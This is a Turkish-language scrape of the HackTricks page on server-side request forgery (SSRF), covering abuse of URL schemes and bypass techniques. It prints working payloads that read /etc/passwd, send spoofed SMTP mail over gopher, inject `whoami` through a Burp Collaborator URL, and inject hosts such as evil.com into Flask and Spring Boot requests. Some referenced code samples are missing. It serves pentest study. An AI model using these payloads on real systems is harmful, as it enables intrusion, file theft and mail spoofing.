Hacking püf noktalarınızı paylaşarak PR'lar göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Temel Bilgiler
Bir Sunucu Tarafı İstek Sahteciliği (SSRF) zafiyeti, bir saldırganın bir sunucu tarafı uygulamasını manipüle ederek istedikleri bir alan adına HTTP istekleri yapmasına neden olduğunda meydana gelir. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.
SSRF Yakalama
Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:
Genellikle SSRF'nin yalnızca belirli beyaz listelenen alanlarda veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için derlenmiş teknikler bulunmaktadır:
Sunucu doğru şekilde korunuyorsa, bir web sayfası içindeki bir Açık Yönlendirme'yi sömürerek tüm kısıtlamaları atlayabilirsiniz. Çünkü web sayfası aynı alan adına SSRF'ye izin verecek ve muhtemelen yönlendirmeleri takip edecektir, Sunucunun iç herhangi bir kaynağa erişmesini sağlamak için Açık Yönlendirme'yi sömürebilirsiniz.
Daha fazla bilgi için buraya bakın: https://portswigger.net/web-security/ssrf
Protokoller
file://
file:// URL şeması, doğrudan /etc/passwd'ye işaret eder: file:///etc/passwd
dict://
DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişim için kullanıldığı belirtilir. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanıldığı bir örneği gösterir: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Güvenli dosya transferi için bir protokol olarak tanımlanırken, bir PHP betiğinin nasıl kötüye kullanılabileceğini gösteren bir örnek sunulur: url=sftp://generic.com:11111/
TFTP://
UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna istek göndermek için tasarlandığı bir örnekle belirtilir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsar. Localhost'taki bir LDAP sunucusuyla etkileşim: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Dahili etki alanı adlarını ortaya çıkarmak için SMTP hizmetleriyle etkileşim kurmak için SSRF zafiyetlerini nasıl sömüreceğiniz açıklanmaktadır. Bu bilgiler temel alınarak iç etki alanı adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma adımları atmak için adımlar içerir.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF bypass
Eğer SSRF curl tarafından yürütülüyorsa, curl'ün URL globbing adında bir özelliği vardır ve bu özellik WAF'leri atlatmak için kullanışlı olabilir. Örneğin bu yazıdafile protokolü aracılığıyla yol geçişi için bir örnek bulabilirsiniz:
Gopher protokolünün IP, port ve baytları belirtme yeteneği, Gopherus ve uzak-yöntem-tahmincisi gibi araçlarla oluşturulan yükler için tartışılmaktadır. İki farklı kullanım örneği verilmiştir:
Gopher://
Bu protokolü kullanarak sunucunun göndermesini istediğiniz IP, port ve baytları belirtebilirsiniz. Sonrasında, temelde bir SSRF'yi sömürerek herhangi bir TCP sunucusuyla iletişim kurabilirsiniz (ancak önce hizmetle nasıl iletişim kurulacağını bilmelisiniz).
Neyse ki, çeşitli hizmetler için yükler oluşturmak için Gopherus kullanabilirsiniz. Ayrıca, Java RMI hizmetleri için gopher yükleri oluşturmak için remote-method-guesser kullanılabilir.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET/HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:eatme%0A%0AI+am+a+post+body
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için Burp Suite eklentisi "Collaborator Everywhere" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek.
Sertifikadan SNI verileri aracılığıyla SSRF
Herhangi bir arka uca bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, bir Nginx yapılandırması örneği ile açıklanmıştır:
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca SNI alanında istenen IP adresini veya alan adını belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetini ortaya çıkarır. openssl komutunu kullanarak, örneğin internal.host.com gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:
Denemeye değer bir yük (payload) şu şekilde olabilir: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF'lerin Oluşturulması
Eğer web sayfası sizin sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, PDF oluşturucusu (sunucu) tarafından yürütülecek bazı JS kodları ekleyebilir ve bir SSRF'yi istismar edebilirsiniz. Daha fazla bilgiyi buradan bulabilirsiniz.
SSRF'den DoS'a
Birkaç oturum oluşturun ve oturumlardan SSRF'yi istismar ederek ağır dosyaları indirmeyi deneyin.
Bazı istismarlar için bir yönlendirme yanıtı göndermeniz gerekebilir (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada bir yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:
</details>
Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **başlangıç ana bilgisayar adını kullanıcı adı yapar** ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Zafiyetli kod:
Keşfedildi ki bir isteğin yolunu karakter ; ile başlatmak mümkündür, bu da daha sonra @ kullanmaya ve erişmek için yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close